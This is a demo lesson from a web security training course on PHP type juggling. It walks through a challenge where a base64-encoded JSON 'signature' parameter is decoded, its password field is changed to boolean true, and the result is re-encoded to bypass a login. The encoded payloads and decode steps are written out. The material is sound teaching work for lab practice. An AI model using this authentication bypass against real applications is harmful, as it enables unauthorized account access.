Challenge #3: JSON Makes This Easy!

This is a demo module, sign up for the course here!

The challenge with Type Jugging, especially on PHP 8.0, is forcing the user input into the right format, in order to trigger some form of type juggling.

Unless the app has specific input handling, which we did in Challenge #1, form inputs and URL parameters always come through as strings, which gives you very little to work with. Likewise, Magic Hashes (which we looked at in Challenge #2) are incredibly rare to find in the wild, and even harder to exploit - so you can't rely on them either.

Instead, you need to find a way to force the input into the right format, which is where JSON comes in!

Consider the following payload:

{
    "username": "gandalf",
    "password": "istarirulez",
    "expiry": 123456,
    "remember": true
}

Within that one JSON payload, we have string, integer, and boolean values, which the server should automatically inherit from the JSON when it's parsed.

If we pass it through var_dump(json_decode($json, true)), we get this:

array(4) {
  ["username"]=>
  string(7) "gandalf"
  ["password"]=>
  string(11) "istarirulez"
  ["expiry"]=>
  int(123456)
  ["remember"]=>
  bool(true)
}

The expiry value is now an integer, and remember is a boolean - which gives us the opening we need to exploit any type juggling vulnerabilities within the input handling.

So keep an eye out for inputs that accept JSON, in any form, and see what happens when you manipulate the types! You may just find a type juggling vulnerability waiting for you...

Fun story: This is exactly how I earned a top-prize bug bounty from 5 minutes work. I noticed a JSON payload in the browser inspector, toggled a password field to true and it let me straight in!

Your Challenge

Provide valid credentials to gain access to the page.

I've stepped up the difficulty a bit, but don't overthink it!

Objectives

  1. Identify the vulnerable input and manipulate the payload to gain access.
Hint #1

You're looking for a JSON payload, but it's not waiting in plaintext for you. See if you can reveal or decode it somehow...

Hint #2

If you're still unsure where to find the JSON payload, check out the signature query parameter, specifically the eyI prefix.

Here's an extra hint, eyI is the Base 64 encoded version of {"...

Hint #3

You'll often find Base 64 is used to obfuscate JSON payloads (and other sensitive or interesting things), so it's always worth checking what's inside if you see one!

You can decode the full signature query parameter into it's raw version:

> base64_decode('eyJ1c2VybmFtZSI6IlNhbXdpc2UiLCJwYXNzd29yZCI6IiJ9');
= "{"username":"Samwise","password":""}"

Now you just need to modify the JSON, encode it back to Base 64, and you're in!

Solution

Decode the full signature query parameter into it's raw version:

> base64_decode('eyJ1c2VybmFtZSI6IlNhbXdpc2UiLCJwYXNzd29yZCI6IiJ9');
= '{"username":"Samwise","password":""}'

Modify the password field to true, and encode it back to Base 64:

> base64_encode('{"username":"Samwise","password":true}')
= "eyJ1c2VybmFtZSI6IlNhbXdpc2UiLCJwYXNzd29yZCI6dHJ1ZX0="

Throw the new Base 64 string into the signature query parameter and you should get straight in!

Status
Demo
Open in New Tab